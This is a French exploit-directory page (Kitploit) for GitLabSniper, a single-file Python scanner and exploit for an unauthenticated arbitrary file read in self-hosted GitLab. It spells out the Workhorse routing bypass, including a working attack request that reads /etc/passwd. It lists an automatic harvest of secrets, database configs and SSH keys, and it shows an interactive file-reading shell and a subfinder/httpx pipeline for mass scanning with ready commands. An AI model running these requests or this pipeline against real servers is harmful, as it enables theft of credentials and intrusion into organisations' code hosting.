Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
GitLabSniper — Scanner et exploit Python en un seul fichier pour CVE-2026-85706, une lecture de fichier arbitraire non authentifiée dans GitLab CE/EE auto-hébergé, avec énumération de projets, chemins de collecte et un shell interactif. | Kitploit
Outils/GitHubGitHub/ynsmroztas/gitlabsniper
ReconnaissanceScanners de VulnérabilitésExploitationScripting et AutomatisationExploitation d'Applications WebExfiltration de DonnéesCollecte d'InformationsSécurité WebTests d'Intrusion
GitHubynsmroztas/gitlabsniper

GitLabSniper

8237il y a 21 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

Scanner et exploit Python en un seul fichier pour CVE-2026-85706, une lecture de fichier arbitraire non authentifiée dans GitLab CE/EE auto-hébergé, avec énumération de projets, chemins de collecte et un shell interactif.

Voir le dépôt
Partager

GitLabSniper — pipeline de lecture de fichiers non authentifiée CVE-2026-85706

GitLabSniper

CVE-2026-85706 — lecture arbitraire de fichiers non authentifiée sur GitLab CE/EE
détection · énumération de projets publics · collecte · shell interactif · pipeline subfinder/httpx


Auteur : Yunus Emre Öztaş (mitsec)
X : x.com/ynsmroztas
GitHub : github.com/ynsmroztas
Site : ynsmroztas.github.io
Mail : [email protected]

À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test (bug bounty / VDP / contrat écrit).


Présentation

GitLabSniper.py est un scanner/exploit Python en un seul fichier pour CVE-2026-85706 : une lecture de fichier locale non authentifiée dans les éditions Community et Enterprise de GitLab auto-hébergé.

Il ne s'arrête pas à « la version semble affectée ». Il déclenche le contournement par différentiel d'analyseur de Workhorse, classe la réponse de Rails, et n'affiche FILE LEAK que lorsque le corps de la réponse 400 contient les octets du fichier à l'intérieur de invalid %-encoding (...).

BandeVersions
Affectées18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1
Corrigées19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
Hors périmètregitlab.com · GitLab Dedicated

Fonctionnement de la vulnérabilité

Trois endpoints de dépôt se trouvent derrière le requestBodyUploader de Workhorse :

  • POST /api/v4/projects/:id/repository/commits
  • POST /api/v4/projects/:id/repository/files/:file_path
  • PUT /api/v4/projects/:id/repository/files/:file_path

Rails prend le champ brut file.path et exécute File.open avant authenticate!. require_gitlab_workhorse! n'est pas une véritable barrière ici : Workhorse appose déjà un JWT Gitlab-Workhorse-Api-Request valide sur tout ce qu'il proxifie.

Workhorse était censé réécrire l'upload au préalable. Sa regex de route correspond à EscapedPath() et à un clone path.Clean qui ne décode jamais le pourcentage. Puma, lui, décode %XX avant le routage Grape.

Attaquant
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← le slash final passe aussi
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     la regex voit "%63ommits" / "commits/"  → ÉCHEC  (pas de réécriture)
        │
        ▼
Puma          décode %63 → commits                 → ROUTE vers Rails
        │
        ▼
Rails         File.open(params[:file][:path])       → AVANT l'auth
        │
        ▼
Rack          parse_nested_query(File.read(path))
              "%" isolé qui n'est pas %HH
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding (<octets bruts du fichier>)

file= vide satisfait requires :file, WorkhorseFile (vide → nil). Le canal de fuite est la branche urlencoded. JSON/Oj ne renvoie pas les octets du fichier de la même manière — l'outil envoie toujours Content-Type=application/x-www-form-urlencoded.

//, /./, %2F et ; ne contournent pas : path.Clean normalise les deux premiers et Puma rejette %2F.

L'id de projet n'est pas « quel dépôt voler ». file.path est un chemin serveur absolu. L'id n'est que le fragment d'URL qui atteint le contrôleur vulnérable.

EndpointExigence de projet
files (%66iles)N'importe quel id fonctionne souvent — File.open est avant les vérifications de projet
commits (%63ommits, commits/, commits.json)Nécessite un projet qu'un utilisateur anonyme peut read_code. Sinon 404 Project Not Found

C'est pourquoi l'outil énumère GET /api/v4/projects et ignore les ids restreints.

Une fuite confirmée exige cette sous-chaîne dans le corps :

invalid %-encoding (

Les fichiers sans % isolé peuvent tout de même être ouverts (read-noecho / plus tard branch is required) mais ne seront pas renvoyés. C'est un oracle, pas un dump exploitable.


Fonctionnalités

  • Empreinte GitLab (HTML / x-gitlab-* / sign-in) + plage de versions lorsqu'elle est visible
  • Énumération de projets publics (GET /api/v4/projects)
  • Sélection automatique d'un id de projet non restreint (repli 1..7)
  • Matrice de contournement Workhorse
    • %63ommits · %72epository · %66iles
    • slash final · .json
    • POST + PUT sur files
  • Classificateur de réponses : leak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute
  • Liste de collecte --auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, clés ssh, environ)
  • Forme de requête fonctionnelle mémorisée après la première fuite
  • Shell interactif (cat, loot, secrets, passwd, project <id>, curl)
  • Pipeline : hôtes bruts, httpx -sc -td -title, httpx -json, ANSI supprimé
  • Rapport JSON / JSONL (-o)
  • Bannière HIT colorisée + PoC curl prêt à copier-coller

Installation

pip install requests
python3 GitLabSniper.py -h

Python 3.10+. Aucune autre dépendance.


Utilisation

Hôte unique

python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto

Shell interactif

python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit

Pipeline (subfinder + httpx)

subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin n'est pas un TTY → --pipe est implicite
cat hosts.txt | python3 GitLabSniper.py --auto

L'analyseur accepte :

  • https://gitlab.example.com
  • https://gitlab.example.com [200] [GitLab] [nginx]
  • objets httpx -json (url / status_code)
  • host et host:port bruts
  • ignore les lignes [0] / timeout / vides

Options

Télécharger l’outil